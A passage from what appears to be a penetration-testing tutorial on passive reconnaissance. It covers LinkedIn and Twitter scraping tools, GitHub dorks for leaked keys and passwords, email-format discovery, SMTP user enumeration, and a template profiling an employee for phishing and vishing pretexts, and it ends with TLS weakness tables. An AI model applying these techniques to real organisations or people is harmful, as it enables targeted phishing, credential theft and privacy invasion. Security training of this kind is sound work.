&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Common bucket misconfigurations:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Public read access (anyone can list and download files)&lt;/li&gt;
&lt;li&gt;Public write access (anyone can upload — potential for malicious content)&lt;/li&gt;
&lt;li&gt;Exposed bucket policy showing other IAM principals with access&lt;/li&gt;
&lt;/ul&gt;




&lt;h3&gt;
  
  
  3.1.11 Social Media Scraping
&lt;/h3&gt;

&lt;p&gt;Social media is one of the most underestimated intelligence sources in professional penetration testing. Employees voluntarily and publicly disclose enormous amounts of information relevant to security assessments.&lt;/p&gt;

&lt;h4&gt;
  
  
  LinkedIn — The Primary Corporate Intelligence Source
&lt;/h4&gt;

&lt;p&gt;LinkedIn is the most valuable social media platform for penetration testing reconnaissance because it is specifically designed for professional networking and intentionally exposes professional information.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Intelligence Categories from LinkedIn:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. Employee Enumeration&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Search: "Target Company Inc" employees
Result: 847 employees found

Filter by:
- Department: Information Technology (reveals IT staff count and roles)
- Location (reveals office locations)
- Seniority: Entry Level / Associate (reveals junior staff who may be social engineering targets)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;High-value employee targets:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;IT administrators (system access)&lt;/li&gt;
&lt;li&gt;Developers (code access, internal tools)&lt;/li&gt;
&lt;li&gt;Security team members (defenses, tools in use)&lt;/li&gt;
&lt;li&gt;C-suite executives (high-credibility email targets)&lt;/li&gt;
&lt;li&gt;Finance staff (wire transfer fraud targets)&lt;/li&gt;
&lt;li&gt;Receptionists and administrative staff (physical access social engineering)&lt;/li&gt;
&lt;li&gt;Help desk staff (password reset social engineering)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;2. Technology Stack Discovery from Job Listings&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Job postings are extraordinarily revealing because they list exactly what technologies are in use:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Job Title: Senior DevOps Engineer at Target Company

Requirements:
• 5+ years experience with AWS (EC2, EKS, RDS, S3, Lambda, VPC, CloudWatch)
• Strong proficiency with Terraform for infrastructure as code
• Experience with Kubernetes and Helm chart deployment
• Familiarity with CI/CD pipelines (Jenkins, GitLab CI, or CircleCI)
• HashiCorp Vault for secrets management
• Elasticsearch, Kibana, and Logstash (ELK stack) for log management
• Experience with Prometheus and Grafana for monitoring
• PostgreSQL and Redis database management
• Proficiency with Docker containerization
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This single job listing reveals:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Cloud: AWS (with specific services identified)&lt;/li&gt;
&lt;li&gt;IaC: Terraform&lt;/li&gt;
&lt;li&gt;Container orchestration: Kubernetes + Helm&lt;/li&gt;
&lt;li&gt;CI/CD: Jenkins, GitLab CI, or CircleCI&lt;/li&gt;
&lt;li&gt;Secrets management: HashiCorp Vault&lt;/li&gt;
&lt;li&gt;Logging: ELK stack&lt;/li&gt;
&lt;li&gt;Monitoring: Prometheus + Grafana&lt;/li&gt;
&lt;li&gt;Databases: PostgreSQL + Redis&lt;/li&gt;
&lt;li&gt;Containerization: Docker&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Every one of these technologies has known vulnerabilities and misconfigurations that can be specifically targeted.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. Individual Employee Profile Intelligence&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;John Smith — Senior Network Engineer, Target Company Inc.

Current: "Leading network security initiative migrating from on-prem Cisco ASA 
         firewalls to Palo Alto NGFW with Panorama management. Also managing 
         our SD-WAN deployment with VMware VeloCloud."

Skills: Cisco ASA, Palo Alto Networks, Panorama, SD-WAN, VeloCloud, 
        BGP, OSPF, MPLS, Wireshark, SolarWinds

"Excited to be presenting at Cisco Live 2024 on our journey to 
SD-WAN! Our office locations in San Francisco, Austin, and London 
are all now connected."
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This single profile reveals:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Firewall technology (Cisco ASA → Palo Alto NGFW transition in progress)&lt;/li&gt;
&lt;li&gt;Specific management platform (Panorama)&lt;/li&gt;
&lt;li&gt;SD-WAN vendor (VMware VeloCloud)&lt;/li&gt;
&lt;li&gt;All office locations (San Francisco, Austin, London)&lt;/li&gt;
&lt;li&gt;Network protocols in use (BGP, OSPF, MPLS)&lt;/li&gt;
&lt;li&gt;Monitoring tools (SolarWinds)&lt;/li&gt;
&lt;li&gt;The engineer's real name and potentially their email address&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;LinkedIn Search Techniques:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Site-specific Google searches for LinkedIn&lt;/span&gt;
site:linkedin.com/in &lt;span class="s2"&gt;"Target Company"&lt;/span&gt; &lt;span class="s2"&gt;"network engineer"&lt;/span&gt;
site:linkedin.com/in &lt;span class="s2"&gt;"Target Company"&lt;/span&gt; &lt;span class="s2"&gt;"security"&lt;/span&gt;
site:linkedin.com/in &lt;span class="s2"&gt;"Target Company"&lt;/span&gt; &lt;span class="s2"&gt;"developer"&lt;/span&gt;
site:linkedin.com/in &lt;span class="s2"&gt;"Target Company"&lt;/span&gt; &lt;span class="s2"&gt;"IT manager"&lt;/span&gt;

&lt;span class="c"&gt;# LinkedIn Sales Navigator (premium) — most powerful&lt;/span&gt;
&lt;span class="c"&gt;# Full employee lists, contact info, organizational charts&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;LinkedIn Reconnaissance Tools:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# LinkedInt — LinkedIn intelligence gathering&lt;/span&gt;
python LinkedInt.py &lt;span class="nt"&gt;-u&lt;/span&gt; your_linkedin_account &lt;span class="nt"&gt;-p&lt;/span&gt; password &lt;span class="nt"&gt;-k&lt;/span&gt; &lt;span class="s2"&gt;"Target Company"&lt;/span&gt;

&lt;span class="c"&gt;# CrossLinked — Employee enumeration via LinkedIn&lt;/span&gt;
python crosslinked.py &lt;span class="nt"&gt;-f&lt;/span&gt; &lt;span class="s1"&gt;'{first}.{last}@targetco.com'&lt;/span&gt; &lt;span class="s2"&gt;"Target Company"&lt;/span&gt;
&lt;span class="c"&gt;# This both finds employee names AND constructs likely email addresses&lt;/span&gt;

&lt;span class="c"&gt;# linkedin2username — Generate username lists from LinkedIn scraping&lt;/span&gt;
python linkedin2username.py &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;"Target Company"&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt; your_account &lt;span class="nt"&gt;-p&lt;/span&gt; password
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Twitter / X Intelligence
&lt;/h4&gt;

&lt;p&gt;Twitter (X) provides real-time organizational intelligence:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What employees tweet about:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Technology outages ("our Splunk is down again...")&lt;/li&gt;
&lt;li&gt;Security incidents ("just blocked a phishing campaign targeting @targetco")&lt;/li&gt;
&lt;li&gt;New technology deployments ("just pushed our first workload to AWS!")&lt;/li&gt;
&lt;li&gt;Company news and events&lt;/li&gt;
&lt;li&gt;Personal information (vacation dates → reduced staffing)&lt;/li&gt;
&lt;li&gt;Conference attendance (away from office)&lt;/li&gt;
&lt;li&gt;Complaints about internal tools (revealing technology names)
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Twitter OSINT tools&lt;/span&gt;
twint &lt;span class="nt"&gt;-u&lt;/span&gt; johndoe_sysadmin &lt;span class="nt"&gt;--tweets&lt;/span&gt;  &lt;span class="c"&gt;# Scrape all tweets without API&lt;/span&gt;
twint &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="s2"&gt;"targetco.com"&lt;/span&gt; &lt;span class="nt"&gt;--lang&lt;/span&gt; en   &lt;span class="c"&gt;# Search tweets mentioning the target&lt;/span&gt;
twint &lt;span class="nt"&gt;-u&lt;/span&gt; johndoe_sysadmin &lt;span class="nt"&gt;-o&lt;/span&gt; output.json &lt;span class="nt"&gt;--json&lt;/span&gt;

&lt;span class="c"&gt;# Advanced Twitter search operators&lt;/span&gt;
site:twitter.com &lt;span class="s2"&gt;"Target Company"&lt;/span&gt; security breach
site:twitter.com &lt;span class="s2"&gt;"targetco.com"&lt;/span&gt; password
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  GitHub and Code Repository Intelligence
&lt;/h4&gt;

&lt;p&gt;GitHub is one of the highest-value passive recon sources for technical intelligence. Developers commit sensitive information to public repositories constantly.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What to search for on GitHub:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# GitHub Search — most powerful passive recon tool for technical data&lt;/span&gt;

&lt;span class="c"&gt;# Organization-specific searches&lt;/span&gt;
site:github.com &lt;span class="s2"&gt;"targetco.com"&lt;/span&gt;
site:github.com &lt;span class="s2"&gt;"targetco"&lt;/span&gt; &lt;span class="s2"&gt;"password"&lt;/span&gt;
site:github.com &lt;span class="s2"&gt;"targetco"&lt;/span&gt; &lt;span class="s2"&gt;"api_key"&lt;/span&gt;
site:github.com &lt;span class="s2"&gt;"targetco"&lt;/span&gt; &lt;span class="s2"&gt;"secret"&lt;/span&gt;
site:github.com &lt;span class="s2"&gt;"targetco"&lt;/span&gt; &lt;span class="s2"&gt;"internal"&lt;/span&gt;

&lt;span class="c"&gt;# GitHub native search&lt;/span&gt;
org:targetco                           &lt;span class="c"&gt;# All repos in org&lt;/span&gt;
org:targetco filename:.env             &lt;span class="c"&gt;# .env files (credentials)&lt;/span&gt;
org:targetco &lt;span class="s2"&gt;"BEGIN RSA PRIVATE KEY"&lt;/span&gt;  &lt;span class="c"&gt;# Private keys&lt;/span&gt;
org:targetco &lt;span class="s2"&gt;"AKIA"&lt;/span&gt;                    &lt;span class="c"&gt;# AWS Access Key IDs (start with AKIA)&lt;/span&gt;
org:targetco &lt;span class="s2"&gt;"mongodb://"&lt;/span&gt;,            &lt;span class="c"&gt;# Database connection strings&lt;/span&gt;
org:targetco &lt;span class="s2"&gt;"postgresql://"&lt;/span&gt;,
org:targetco &lt;span class="s2"&gt;"mysql://"&lt;/span&gt;

&lt;span class="c"&gt;# GitHub Dorks (search patterns for sensitive data)&lt;/span&gt;
&lt;span class="s2"&gt;"targetco.com"&lt;/span&gt; password
&lt;span class="s2"&gt;"targetco.com"&lt;/span&gt; secret
&lt;span class="s2"&gt;"targetco.com"&lt;/span&gt; token
&lt;span class="s2"&gt;"targetco.com"&lt;/span&gt; api_key
&lt;span class="s2"&gt;"targetco.com"&lt;/span&gt; private_key
&lt;span class="s2"&gt;"@targetco.com"&lt;/span&gt; password
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;GitHub OSINT Tools:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# truffleHog — Searches git history for secrets&lt;/span&gt;
trufflehog github &lt;span class="nt"&gt;--org&lt;/span&gt; targetco &lt;span class="nt"&gt;--json&lt;/span&gt;

&lt;span class="c"&gt;# GitLeaks — Audit git repos for secrets&lt;/span&gt;
gitleaks detect &lt;span class="nt"&gt;--source&lt;/span&gt; /path/to/cloned/repo &lt;span class="nt"&gt;-v&lt;/span&gt;

&lt;span class="c"&gt;# Gitrob — Reconnaissance on GitHub organizations&lt;/span&gt;
gitrob analyze targetco

&lt;span class="c"&gt;# git-secrets — Prevent credential commits (defensive, but reveals what to look for)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;What developers accidentally commit:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Sensitive Data Type&lt;/th&gt;
&lt;th&gt;Example&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;AWS credentials&lt;/td&gt;
&lt;td&gt;&lt;code&gt;AKIAIOSFODNN7EXAMPLE / wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;API keys&lt;/td&gt;
&lt;td&gt;&lt;code&gt;stripe_key = "------------------------"&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Database credentials&lt;/td&gt;
&lt;td&gt;&lt;code&gt;DB_PASS=Production_P@ssw0rd_2024&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Private SSH keys&lt;/td&gt;
&lt;td&gt;&lt;code&gt;-----BEGIN RSA PRIVATE KEY-----&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SSL private keys&lt;/td&gt;
&lt;td&gt;&lt;code&gt;-----BEGIN PRIVATE KEY-----&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;OAuth tokens&lt;/td&gt;
&lt;td&gt;&lt;code&gt;-------------------------&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;JWT secrets&lt;/td&gt;
&lt;td&gt;&lt;code&gt;--------------------------&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Internal IP addresses&lt;/td&gt;
&lt;td&gt;Connection strings with internal IPs&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Cloud configuration files&lt;/td&gt;
&lt;td&gt;Terraform state files with resource details&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h3&gt;
  
  
  3.1.12 Employee Intelligence Gathering
&lt;/h3&gt;

&lt;p&gt;Employee intelligence gathering synthesizes social media, professional profiles, breach data, and public records to build detailed profiles of target organization personnel.&lt;/p&gt;

&lt;h4&gt;
  
  
  Building the Target Employee Profile
&lt;/h4&gt;

&lt;p&gt;For each high-value employee target, a professional assessment builds:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Target Profile Template:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Employee Profile: John Smith
===========================
Current Role: Senior Systems Administrator, Target Company Inc.
LinkedIn: linkedin.com/in/john-smith-sysadmin
Twitter: @jsmith_sysadmin

Contact Information:
- Work email: j.smith@targetco.com (derived from email format)
- Personal email: johnsmith1982@gmail.com (from breach data)
- Phone: +1-415-555-1234 (from conference registration, LinkedIn)

Technical Skills (from LinkedIn, GitHub, job listings):
- Windows Server 2016/2019/2022
- Active Directory, Group Policy, SCCM
- VMware vSphere 7.0
- PowerShell scripting
- Backup: Veeam

Personal Information (for social engineering pretext):
- Alma mater: University of California, Berkeley (from LinkedIn)
- Previous employer: CloudBase Inc. (from LinkedIn)
- Hobbies: cycling, homebrewing (from Twitter)
- Location: San Francisco, CA

Exposure Assessment:
- Appears in 3 data breaches (HaveIBeenPwned): LinkedIn breach, Adobe breach, Tumblr breach
- Leaked password hash (LinkedIn 2012 breach): "LinkedInPasswordHash"
- Password reuse risk: HIGH (common for accounts 10+ years old)

Social Engineering Attack Vectors:
1. IT Help Desk impersonation: "Hi John, this is Sarah from the IT help desk..."
2. Vendor impersonation: "Hi, this is VMware support calling about your license renewal..."
3. Password reset phishing: Custom email targeting @targetco.com with realistic IT branding
4. Vishing (voice phishing): Calling directly using work context established from LinkedIn
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Email Address Format Discovery
&lt;/h4&gt;

&lt;p&gt;Before email addresses can be used in social engineering or checked against breach databases, the organization's email format must be determined.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Method 1: Hunter.io&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Hunter.io API&lt;/span&gt;
curl &lt;span class="s2"&gt;"https://api.hunter.io/v2/domain-search?domain=targetco.com&amp;amp;api_key=YOUR_KEY"&lt;/span&gt;

&lt;span class="c"&gt;# Response&lt;/span&gt;
&lt;span class="o"&gt;{&lt;/span&gt;
  &lt;span class="s2"&gt;"data"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="s2"&gt;"domain"&lt;/span&gt;: &lt;span class="s2"&gt;"targetco.com"&lt;/span&gt;,
    &lt;span class="s2"&gt;"organization"&lt;/span&gt;: &lt;span class="s2"&gt;"Target Company Inc."&lt;/span&gt;,
    &lt;span class="s2"&gt;"pattern"&lt;/span&gt;: &lt;span class="s2"&gt;"{first}.{last}"&lt;/span&gt;,    ← EMAIL FORMAT DISCOVERED
    &lt;span class="s2"&gt;"emails"&lt;/span&gt;: &lt;span class="o"&gt;[&lt;/span&gt;
      &lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"value"&lt;/span&gt;: &lt;span class="s2"&gt;"john.smith@targetco.com"&lt;/span&gt;, &lt;span class="s2"&gt;"type"&lt;/span&gt;: &lt;span class="s2"&gt;"personal"&lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt;,
      &lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"value"&lt;/span&gt;: &lt;span class="s2"&gt;"jane.doe@targetco.com"&lt;/span&gt;, &lt;span class="s2"&gt;"type"&lt;/span&gt;: &lt;span class="s2"&gt;"personal"&lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt;,
      &lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"value"&lt;/span&gt;: &lt;span class="s2"&gt;"security@targetco.com"&lt;/span&gt;, &lt;span class="s2"&gt;"type"&lt;/span&gt;: &lt;span class="s2"&gt;"generic"&lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt;
    &lt;span class="o"&gt;]&lt;/span&gt;
  &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Common email formats:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Format&lt;/th&gt;
&lt;th&gt;Example&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;{first}.{last}@domain.com&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href="mailto:john.smith@targetco.com"&gt;john.smith@targetco.com&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;{first}{last}@domain.com&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href="mailto:johnsmith@targetco.com"&gt;johnsmith@targetco.com&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;{f}{last}@domain.com&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href="mailto:jsmith@targetco.com"&gt;jsmith@targetco.com&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;{first}_{last}@domain.com&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href="mailto:john_smith@targetco.com"&gt;john_smith@targetco.com&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;{first}@domain.com&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href="mailto:john@targetco.com"&gt;john@targetco.com&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;{last}{first}@domain.com&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href="mailto:smithjohn@targetco.com"&gt;smithjohn@targetco.com&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;{f}.{last}@domain.com&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href="mailto:j.smith@targetco.com"&gt;j.smith@targetco.com&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Method 2: Email Format from Found Addresses&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;If even one employee's email is confirmed (from a breach database, email header, or other source), the format is revealed and can be applied to all other employee names.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Method 3: CrossLinked&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# CrossLinked: scrapes LinkedIn employees and generates email addresses&lt;/span&gt;
python3 crosslinked.py &lt;span class="nt"&gt;-f&lt;/span&gt; &lt;span class="s1"&gt;'{first}.{last}@targetco.com'&lt;/span&gt; &lt;span class="s2"&gt;"Target Company"&lt;/span&gt;
&lt;span class="c"&gt;# Outputs: john.smith@targetco.com, jane.doe@targetco.com, etc.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Method 4: Email Verification&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Discovered email addresses can be verified (without sending an email) by:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# smtp-user-enum — Verifies email existence via SMTP&lt;/span&gt;
smtp-user-enum &lt;span class="nt"&gt;-M&lt;/span&gt; VRFY &lt;span class="nt"&gt;-U&lt;/span&gt; users.txt &lt;span class="nt"&gt;-t&lt;/span&gt; mail.targetco.com
smtp-user-enum &lt;span class="nt"&gt;-M&lt;/span&gt; EXPN &lt;span class="nt"&gt;-U&lt;/span&gt; users.txt &lt;span class="nt"&gt;-t&lt;/span&gt; mail.targetco.com
smtp-user-enum &lt;span class="nt"&gt;-M&lt;/span&gt; RCPT &lt;span class="nt"&gt;-U&lt;/span&gt; users.txt &lt;span class="nt"&gt;-t&lt;/span&gt; mail.targetco.com

&lt;span class="c"&gt;# Note: VRFY and EXPN are often disabled on modern mail servers for security&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  3.1.13 Cryptographic Flaws
&lt;/h3&gt;

&lt;p&gt;Cryptographic weaknesses discovered during passive reconnaissance provide direct attack vectors during the active exploitation phase. Understanding cryptographic flaws at a senior level requires deep knowledge of both the theoretical weaknesses and the practical exploitation techniques.&lt;/p&gt;

&lt;h4&gt;
  
  
  Why Cryptographic Analysis Belongs in Passive Reconnaissance
&lt;/h4&gt;

&lt;p&gt;Passive reconnaissance can reveal cryptographic weaknesses without touching the target:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;SSL/TLS certificate details are publicly visible&lt;/li&gt;
&lt;li&gt;Certificate Transparency logs reveal certificate history&lt;/li&gt;
&lt;li&gt;SSL test services (SSL Labs) provide detailed analysis of TLS configurations&lt;/li&gt;
&lt;li&gt;DNS DMARC and DKIM records reveal email cryptographic configuration&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  SSL/TLS Protocol Weaknesses
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Protocol Version Vulnerabilities:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Protocol&lt;/th&gt;
&lt;th&gt;Version&lt;/th&gt;
&lt;th&gt;Status&lt;/th&gt;
&lt;th&gt;Known Attacks&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;SSL 2.0&lt;/td&gt;
&lt;td&gt;Ancient&lt;/td&gt;
&lt;td&gt;PROHIBITED&lt;/td&gt;
&lt;td&gt;DROWN, complete deprecation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SSL 3.0&lt;/td&gt;
&lt;td&gt;Ancient&lt;/td&gt;
&lt;td&gt;PROHIBITED&lt;/td&gt;
&lt;td&gt;POODLE&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;TLS 1.0&lt;/td&gt;
&lt;td&gt;RFC 2246 (1999)&lt;/td&gt;
&lt;td&gt;DEPRECATED&lt;/td&gt;
&lt;td&gt;BEAST, POODLE (in CBC mode)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;TLS 1.1&lt;/td&gt;
&lt;td&gt;RFC 4346 (2006)&lt;/td&gt;
&lt;td&gt;DEPRECATED&lt;/td&gt;
&lt;td&gt;BEAST (partial)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;TLS 1.2&lt;/td&gt;
&lt;td&gt;RFC 5246 (2008)&lt;/td&gt;
&lt;td&gt;CURRENT&lt;/td&gt;
&lt;td&gt;Various cipher suite weaknesses&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;TLS 1.3&lt;/td&gt;
&lt;td&gt;RFC 8446 (2018)&lt;/td&gt;
&lt;td&gt;RECOMMENDED&lt;/td&gt;
&lt;td&gt;No known practical attacks&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;TLS 1.0 and 1.1 Deprecation:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The IETF formally deprecated TLS 1.0 and TLS 1.1 in RFC 8996 (March 2021)&lt;/li&gt;
&lt;li&gt;PCI DSS v3.2+ requires disabling TLS 1.0 for all in-scope systems&lt;/li&gt;
&lt;li&gt;NIST SP 800-52 Rev 2 prohibits TLS 1.0 and 1.1 for federal systems&lt;/li&gt;
&lt;li&gt;Finding TLS 1.0 or 1.1 support is a compliance finding in addition to a technical vulnerability&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Cipher Suite Weaknesses:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;A cipher suite specifies the algorithms used for key exchange, authentication, encryption, and integrity checking. Weak cipher suites are a common finding.&lt;/p&gt;

&lt;p&gt;Cipher Suite Format:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
 │    │     │      │        │       │
 │    │     │      │        │       └── MAC/PRF algorithm (SHA384)
 │    │     │      │        └── Cipher mode (GCM = authenticated)
 │    │     │      └── Encryption algorithm and key size (AES-256)
 │    │     └── Authentication algorithm (RSA)
 │    └── Key exchange algorithm (ECDHE = Elliptic Curve Diffie-Hellman Ephemeral)
 └── Protocol
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Weak/Deprecated Cipher Suites:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Cipher Suite Issue&lt;/th&gt;
&lt;th&gt;Specific Problem&lt;/th&gt;
&lt;th&gt;Attack&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;NULL cipher&lt;/td&gt;
&lt;td&gt;No encryption&lt;/td&gt;
&lt;td&gt;Plaintext exposure&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
